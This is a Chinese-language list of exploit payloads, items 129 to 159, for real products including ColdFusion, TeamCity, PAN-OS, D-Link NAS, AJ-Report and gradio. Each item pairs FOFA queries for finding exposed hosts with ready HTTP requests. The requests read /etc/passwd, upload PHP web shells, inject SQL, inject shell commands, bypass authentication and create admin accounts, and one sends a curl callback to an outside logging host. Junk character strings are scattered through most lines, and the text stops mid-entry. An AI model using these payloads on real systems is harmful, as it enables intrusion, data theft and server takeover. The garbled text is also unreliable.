: R, T# P# s1 Z! i5 c( n$ PAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
4 ?' A% p! c6 L' I3 _% J6 U" ^" qFOFA：app="Adobe-ColdFusion"
8 Z1 H) Y( g" A$ u+ f* aPAYLOAD
7 R; M# e- }0 X9 I' U
% \' E2 w: v5 S1 R' Y129. Adobe ColdFusion 任意文件读取
  H6 V" @# a$ o, H  ?( rCVE-2024-20767
: c, @6 A" o. ]  Z9 m& `: ]FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
" b7 A5 L4 C3 zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
' i5 z( L/ S4 qConnection: close
& O$ L5 S" q7 k  T( v! ~" w9 d
9 w6 ^, ^! t6 y* J* U$ S1 F0 s  `8 ?
! C( w9 ~2 ]5 G5 i4 @1 y9 ~+ f第二步，读取/etc/passwd文件
8 d/ }) K  Y. F% L- FGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
, P0 n+ o2 d$ V$ CAccept: */*
. Z! x+ O& W* sAccept-Encoding: gzip, deflate
Connection: close
9 {' h1 L7 p! \* Q* Cuuid: 85f60018-a654-4410-a783-f81cbd5000b9
# l1 D: S9 H/ x, A2 U  d+ I
. d) v4 @9 B/ x. D" C
- a: l4 P9 p) \! L- Z" y) n130. Laykefu客服系统任意文件上传
6 ?' I, H& J1 s- T( UFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
  p/ J6 {9 h( ]. rHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
# t/ m2 x$ Q+ UX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
" H( n  ^+ \1 \5 @4 O6 ^Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
  t6 B! J2 y# w6 P9 hAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* u; A" ]# ^6 I9 P, MCookie: user_name=1; user_id=3
4 N3 ^6 F7 U5 V, uConnection: close
4 I& F- b* G6 v+ O1 P
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
; d" c! v% q& t- b0 l" h3 rContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
  q/ C4 t6 i! R; J1 m1 @( m  H------WebKitFormBoundary3OCVBiwBVsNuB2kR--
$ b: Q& o! b& d# Q/ t# L
6 U0 q1 }$ c8 H+ \5 x0 l( D
1 H  v4 H0 c1 z131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
3 e3 m2 z. V  x9 e# H; K1 |后台地址：http://localhost:8080/tmall/admin
9 h; L; W2 p8 g: r. X; shttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
& T- O4 ]6 k+ N: d& G" x
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
9 i( u) [- [! h: jHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
) h+ k! b0 b& IAccept: */*
/ d0 z+ N: y. qContent-Type: application/json
+ V: ?, }1 Q8 V( ?( \7 sAccept-Encoding: gzip, deflate
. h- N4 J* [" V4 l: s' g
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


CVE-2024-27199
/ V2 k# H! R% e% ~1 p1 g- f4 b/res/../admin/diagnostic.jsp
( i7 M, P6 b; `0 i, M; J+ f# s/.well-known/acme-challenge/../../admin/diagnostic.jsp
: n  D/ ]# T. ]* @  _  v/update/../admin/diagnostic.jsp

5 ~  O# W7 y- W) ^2 X
. H0 `  c, {, B3 M( L2 n+ SCVE-2024-27198-RCE.py
, x( H2 x& w; Y! [7 b
$ J! y: X1 u0 V/ L133. H5 云商城 file.php 文件上传
! e$ K5 C: a# R" h+ |1 HFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
7 `7 y9 ~3 W) `0 O+ q% p) x' i: `User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
! n$ S( p8 J% R. D: g! IContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
1 ~; L. k0 Z, X1 ^. x* C3 K
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
" _+ c: |# V& l9 E0 \8 p6 @Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
4 F! S+ |! g, o4 ^" [5 N0 Q
1 d% g& R4 t# V3 Q0 t<?php system("cat /etc/passwd");unlink(__FILE__);?>
; A2 V8 i3 Y: \7 }+ Q& u# }8 _/ j------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
: D2 Q5 V# M6 h/ M# s* A( L, o* `Netentsec NS-ASG Application Security Gateway 6.3版本
7 {( C9 s. |9 p5 `  P& w* h. H  N7 jFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
$ l$ u, M+ Y4 B" Q5 X: h3 c' aHost: x.x.x.x
! T! o: }5 Q- Q# k7 h8 |Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
& B9 ?* C2 w- G" U1 m  IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
: a8 M, j& o' J- y. s, b0 ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. e( E$ x4 d! E+ E" E) E# mAccept-Encoding: gzip, deflate
- ?0 S! B, k4 c  z) _2 g. ~Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
( [1 I5 p- b4 k, L# f1 JSec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
  d  b7 v- S5 O2 pContent-Length: 263
$ j  p: T5 q8 ^" e: Q7 R
0 r: k, `7 d4 T; ljsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
, }  ?5 O' U( y5 v* p
  _5 f/ P: O8 v5 y* {; _
- H' T; t7 X/ P2 C" |5 F135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
8 E9 T- p8 }  N  ^6 iCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
9 P; R# u, G# x: ~. eGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
/ ]. |7 R- C& X5 k* \7 MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  N, h  n6 _5 [9 LAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 C* z, p/ j* N! M$ T6 GConnection: close
! K3 ^* X7 X' w2 S% O4 X

* w0 ~9 l! t. |# x136. NextChat cors SSRF
. }' c+ b# x( d2 U& dCVE-2023-49785
FOFA：title="NextChat"
) e' q, Y' }1 A8 E3 z8 ?GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" u8 }9 c5 X  C7 U4 eConnection: close
Accept: */*
4 S& z' k9 l& BAccept-Language: en
6 U/ f1 m& j8 h" u% c% x& |Accept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
% P( T, w0 E( O/ `' XCVE-2024-2620
" B# }3 I: a; K* O; xFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
5 v  a+ [" l/ j( W3 W: q$ ECookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


9 d6 |  i. _6 u8 `3 d138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
5 z( H3 p- w& U5 C1 J( |CVE-2024-2621
* d  }8 r7 C8 @, A( A) vFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
0 L% b; T0 B/ a: F4 vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* g' P& f. t# r) _' o/ f. b/ pAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
% g; j8 O+ i4 V& \/ ?
* U9 v* ]1 c2 p
4 z* k& `. }2 ^6 H, L" `% \7 e, T139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
" v/ B: j! G* P! ?GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, ~4 N0 ]" R4 T8 n3 s+ HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
5 Q$ ^5 v% B& ~) i+ w. vConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
0 d) m3 C, x8 f  X% e' z4 S( _Upgrade-Insecure-Requests: 1


140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' ]. |/ F# c3 T  R# J' QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
- n4 S2 H! l, m& |4 tConnection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1

9 X# H1 k* L; Y) T+ M4 Y
2 M( a( |: l  {) g$ R' [141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
0 y7 \' s, S  x/ aUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
9 }* H  x9 u' \6 k+ b% }' X4 h" e
/ Y* F& ?  J+ }3 D* E  R0 ~
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
& A" _" ^4 l5 s( ~; Wadmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
8 w- K/ A3 Q- G4 B1 p; tFOFA：title='AP setup' && header='netis'
/ g: E  U4 T! k0 ^# z0 a$ E# X0 ~PAYLOAD

+ \* q9 m8 E: F2 Y9 K0 f144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
/ E: [6 K( H7 {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
9 c# W8 e" }% U/ W4 T0 sConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
, D1 x) [+ T- N9 l1 n8 a0 ~9 d0 h  a
' s. h0 h8 G$ W# i; R6 c* d1 }7 c0 X) D
. d7 N% K% ?( B2 t( ?) t145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
4 C5 ?/ }, ]1 m( U! j+ TFOFA：icon_hash="-631559155"
4 N9 z/ ]1 @  }- e& a: o, [GET /global-protect/login.esp HTTP/1.1
1 i6 @. L- `+ y+ K% J( {Host: 192.168.30.112:1005
& ~& q1 P! q$ x. M1 s1 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
0 i- T, ~9 h3 {$ }1 QConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
+ Z2 e5 E; x4 F& A) zAccept-Encoding: gzip
( d: Q1 g! n' Y5 s- u; K8 l

: O  H# C8 `* y0 I9 V2 U  A! A146. MajorDoMo thumb.php 未授权远程代码执行
8 `: l( f: k  t1 o1 V/ UCNVD-2024-02175
FOFA：app="MajordomoSL"
( C7 z, ]# h# Q0 n* C" sGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
% T* W* R  i4 D" e% g5 }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
( c: X6 X/ n( Z) x# p# D. AAccept-Charset: utf-8
8 k  d. R; Z( ~) y7 N  m. tAccept-Encoding: gzip, deflate
9 c  Y3 a- _- A+ g3 W0 RConnection: close
' k! C, O6 Q" E; g! Z9 R! K: {

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
" B  w7 K( K0 d" [5 d; Z& K+ u! hFOFA：body="RaidenMAILD"
& ~) v' `( L0 E! QGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
3 x! R- z8 I9 [8 k9 t) _Connection: close


148. CrushFTP 认证绕过模板注入
CVE-2024-4040
' }) ]2 Z$ A( HFOFA：body="CrushFTP"
PAYLOAD

' n% ~+ p( F# l% E- N: C149. AJ-Report开源数据大屏存在远程命令执行
6 p' S9 u- c# z2 A1 e* C' \$ O0 [FOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ l, I3 w( K: I" v) }6 H+ F; q  l( tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
1 V0 n; d7 i* ^9 W9 B" vAccept-Language: zh-CN,zh;q=0.9
" v( W, J6 P( p2 L: UContent-Type: application/json;charset=UTF-8
/ r, W# J6 u. Z3 u3 p# q6 o4 r1 aConnection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
* [$ H4 F3 j4 j& O4 v& ^FOFA：title="AJ-Report"
; D" ]; P4 O* w, jPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
# k! }: q7 I3 W( sHost: x.x.x.x
5 P" U. _- m& F; sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) s1 u: E1 C/ l" {Accept-Encoding: gzip, deflate, br
3 C0 Z0 m8 h0 o/ k  O, Y+ V- l/ nAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
; d6 W% V/ s' H0 G) e1 x% G( LContent-Length: 339
; B2 J/ ]7 Q$ u* [
" H! h8 L) ^# |% ^, A{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
7 r; s( ~  L/ v9 }
+ G% C6 _9 D) F$ l! l2 H
* y+ W" b/ w1 h; b/ o; x151. AJ-Report 1.4.1 pageList sql注入
9 }% ]1 f5 _3 C) p1 K: LFOFA：title="AJ-Report"
& E; {! J) b0 A/ R+ ?- x: DGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% |; c2 w9 x2 x& SConnection: close
7 E2 `6 x8 b9 s$ H" R0 YAccept-Encoding: gzip
: _: g3 A; _: p% E
) P4 `8 X5 C2 m
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
- E7 B. v& q: {0 Z. [. qLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
+ v$ j& Y$ E( }5 R4 r& KLoadMaster <= 7.2.48.10 (LTS)
, W2 y8 s6 _9 zFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
" B# I2 U+ x' w) o/ qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
& j# }# a  W1 z: S# aConnection: close
# v: B4 D6 I5 J- tAccept: */*
! S1 d8 g( F* fAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
& [1 R7 H* V9 R2 Z+ L* QAccept-Encoding: gzip
0 D5 F+ I1 n$ _* @; S

: ]- P7 G- @0 L; A8 C; p8 F153. gradio任意文件读取
* N2 o+ `, {) O/ _CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
) V# f$ Y- `  s/ shttp://x.x.x.x/config
6 f. v& ~# [$ b# h2 _
' @  B! H' s2 r3 V: }' [
# _; N* Z8 T6 E! K+ d第二步，将/etc/passwd的内容写入到一个临时文件
/ P+ T  \; z+ Z" o- fPOST /component_server HTTP/1.1
8 ?+ K. p+ _* e3 h- i: HHost: x.x.x.x
/ O; ~0 `7 d/ E0 g: s/ F" pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
( p9 O+ ]$ K! ]7 T/ xContent-Length: 115
) r, s; k& e* j( }, X# v  EContent-Type: application/json
  i  W' V4 ]7 g$ _0 FAccept-Encoding: gzip
( h; W4 I# S& T6 Z
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

4 `* ~9 U5 g! C
第三步访问
) I) G: O  W/ r0 Q# `http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


7 R! r9 S/ U' b( g+ ^9 Y9 t154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
6 ?; D" G& V5 X2 `- K" q3 Z0 R: iPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
6 h3 @4 y7 y" i- ~. O$ L  X7 y& O) RContent-Length: 106
4 J! T2 J& @$ aCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
+ n0 D, k! L3 t" K# pOrigin: http://x.x.x.x
$ l% p; p  {8 K0 T' pContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
. Q5 T# {. A/ r: v7 W. o! W0 KReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
2 M2 c% J3 U' E3 R" |5 S" n* OAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
+ ]9 N' k) U$ F- |Connection: close

  M/ o9 O! X& N9 J{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
5 U. y0 O2 V. }! u# o; A

155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
, M+ E! H; S6 j% B& K, S. b" L6 F, {FOFA：title=="上网导航 - LyLme Spage"
  y( f. x# G& b2 h5 I+ [/ tPOST /include/file.php HTTP/1.1
, ^+ b" n2 m' T5 A8 N! e7 E) _% LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
+ U9 s  s0 Y% t, iConnection: close
& H( ]" |1 c% t9 s3 nContent-Length: 232
& \1 {: H! v( s: T# oAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  t9 s  b7 q. q& k7 jContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
( a6 |. H1 n5 _  Z( HContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

% `+ J, ^; l( A2 `5 O<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

' N* \- ~0 R3 {6 W% s
9 {8 X5 P8 |9 m3 u9 k# O( J访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
  l" m( m$ j+ R  ]7 G
156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
1 b; F0 o1 w0 z, icurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


- X! B0 P) K9 {" c( R- I1 h4 QPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
. q, i0 F0 i1 o1 B1 IUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
$ E2 g4 Z: F3 ~Cookie: uid=1
Accept-Encoding: gzip


$ d6 @  X3 \" ?7 p' E! N6 D- t157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
, r* D# E7 x6 g. }; Y8 @) ^! d. C; XHost: x.x.x.x
4 l) O) R) C9 G* P1 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
8 _# \# e0 t4 b  {) M. CContent-Length: 709
6 Q! v$ H) J5 o9 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ h) j8 V0 \3 ~1 S6 S. E; oAccept-Language: zh-CN,zh;q=0.9
- t; b8 G+ C4 z; @5 K3 R4 j7 ^Cache-Control: max-age=0
5 [3 w" j# I1 w& _0 w: iConnection: close
& C  F3 c5 s& i4 SContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

0 S; m/ x/ z7 J2 A9 {( G! c# rnyhelxrutzwhrsvsrafb
" g; U! Y2 L9 K* t% O. ~5 \* z------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
7 @- U4 t, Q4 l( C
* ]' h$ e7 j% ]: }  U8 mnull
5 }1 H* s/ G9 g9 u" A* p' `  O  o& t------WebKitFormBoundary1imovELzPsfzp5dN
6 i% p" _4 @9 t; oContent-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
5 O9 c9 Y. `5 V6 V( nContent-Disposition: form-data; name="field"

! z/ h- Y* {# w5 r& x! Z- Mnull
------WebKitFormBoundary1imovELzPsfzp5dN
6 N5 T/ E) o% q- P3 CContent-Disposition: form-data; name="filetitile"

: T! P# S0 t( E2 h# knull
" L: g; K6 ^6 k" _------WebKitFormBoundary1imovELzPsfzp5dN
9 G$ d" _5 s! Q1 K! YContent-Disposition: form-data; name="filefolder"
5 n4 N( \% q4 M& n1 J) g; @' K
null
------WebKitFormBoundary1imovELzPsfzp5dN--


5 z/ }4 h/ W' jhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
4 f! K0 S0 i1 a: z# U/ {+ \; s' u; u
! I  c/ ^2 s1 O158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
  p1 A" X6 S8 y# }# y8 FHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

8 C' N9 r8 ]( ?1 d6 h- t& [object=displayregion&contenthistid=x\'&previewid=1
# V) z# |+ h6 t5 C6 [' F
6 \% f: T- d- C3 W
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
